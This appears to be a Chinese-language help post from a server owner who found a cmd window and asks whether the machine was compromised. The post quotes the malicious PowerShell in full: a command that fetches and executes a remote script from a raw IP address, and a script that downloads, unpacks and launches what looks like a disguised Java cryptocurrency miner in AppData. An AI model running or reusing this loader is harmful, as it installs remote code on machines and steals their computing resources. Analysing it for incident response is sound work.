服务器突然弹出一个cmd窗口,这是被入侵了吗?我该如何做?内容:PowerShell -comman

服务器突然弹出一个cmd窗口,这是被入侵了吗?我该如何做?内容: PowerShell -command "$cmd = .DownloadString<'http://104.248.167.144:8333/bitcoins'>; Invoke-Expression $cmd; Stop-Process -Force -processname cmd;'';

打开里面的链接,里面的信息:

if([System.IO.Directory]::Exists($home + '\AppData\Local\bitcoins') -eq $true) { Stop-Process -processname javaw; Start-Sleep -m 10000; [System.IO.Directory]::Delete($home + '\AppData\Local\bitcoins', $true); }

(New-Object System.Net.WebClient).DownloadFile('http://104.248.167.144/bitcoins.zip', $home + '\AppData\Local\bitcoins.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($home + '\AppData\Local\bitcoins.zip', $home + '\AppData\Local'); [System.IO.File]::Delete($home + '\AppData\Local\bitcoins.zip'); &($home + '\AppData\Local\bitcoins\bin\javaw.exe') -server -d64 -Xms64m -jar ($home + '\AppData\Local\bitcoins\bin\btclibrary.dll'); Start-Sleep -m 10000; Stop-Process -Force -processname cmd;